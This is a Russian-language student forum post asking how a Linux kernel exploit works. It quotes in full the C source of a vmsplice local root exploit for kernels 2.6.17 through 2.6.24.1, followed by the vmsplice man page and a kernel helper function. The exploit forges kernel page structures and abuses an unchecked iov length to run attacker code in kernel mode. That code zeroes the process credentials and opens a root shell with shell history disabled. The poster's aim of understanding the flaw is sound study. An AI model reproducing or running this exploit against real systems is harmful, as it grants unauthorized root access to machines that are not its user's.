linux local root exploits - Public forum of MSU united student networks

Может, кто разбирался с exploit'ом? Объясните, пожалуйста, в чем дело? На чем этот exploit "сыграл"?
Ответом: "Нужно проверять параметры, пришедшие из userspace" удовлетворен не буду!

Вроде, понял весь юзерспейсный код (который ниже), но только дословно, а не сам смысл; зачем мапят несколько раз, а потом еще munmap... В общем, буду благодарен за любую помощь! Попусту ссылки на сырцы ядра просьба не кидать

В ответ на:

/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;

/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;

/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);

/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}

code:

VMSPLICE(2) Linux Programmer's Manual VMSPLICE(2) NAME vmsplice - splice user pages into a pipe SYNOPSIS #define _GNU_SOURCE #include <fcntl.h> #include <sys/uio.h> long vmsplice(int fd, const struct iovec *iov, unsigned long nr_segs, unsigned int flags); DESCRIPTION The vmsplice() system call maps nr_segs ranges of user memory described by iov into a pipe. The file descriptor fd must refer to a pipe. The pointer iov points to an array of iovec structures as defined in <sys/uio.h>: struct iovec { void *iov_base; /* Starting address */ size_t iov_len; /* Number of bytes */ }; The flags argument is a bit mask that is composed by ORing together zero or more of the following values: SPLICE_F_MOVE Unused for vmsplice(); see splice(2). SPLICE_F_NONBLOCK Do not block on I/O; see splice(2) for further details. SPLICE_F_MORE Currently has no effect for vmsplice(), but may be implemented in the future; see splice(2). SPLICE_F_GIFT The user pages are a gift to the kernel. The appli- cation may not modify this memory ever, or page cache and on-disk data may differ. Gifting pages to the kernel means that a subsequent splice(2) SPLICE_F_MOVE can successfully move the pages; if this flag is not specified, then a subsequent splice(2) SPLICE_F_MOVE must copy the pages. Data must also be properly page aligned, both in memory and length. RETURN VALUE Upon successful completion, vmsplice() returns the number of bytes transferred to the pipe. On error, vmsplice() returns -1 and errno is set to indicate the error. ERRORS EBADF fd either not valid, or doesn't refer to a pipe. EINVAL nr_segs is 0 or greater than IOV_MAX; or memory not aligned if SPLICE_F_GIFT set. ENOMEM Out of memory. VERSIONS The vmsplice(2) system call first appeared in Linux 2.6.17. CONFORMING TO This system call is Linux specific. NOTES vmsplice() follows the other vectorized read/write type functions when it comes to limitations on number of segments being passed in. This limit is IOV_MAX as defined in <limits.h>. At the time of this writ- ing, that limit is 1024. SEE ALSO splice(2), tee(2), feature_test_macros(7) Linux 2006-04-28 VMSPLICE(2)

code:

static inline size_t iov_length(const struct iovec *iov, unsigned long nr_segs) { unsigned long seg; size_t ret = 0; for (seg = 0; seg < nr_segs; seg++) ret += iov[seg].iov_len; return ret; }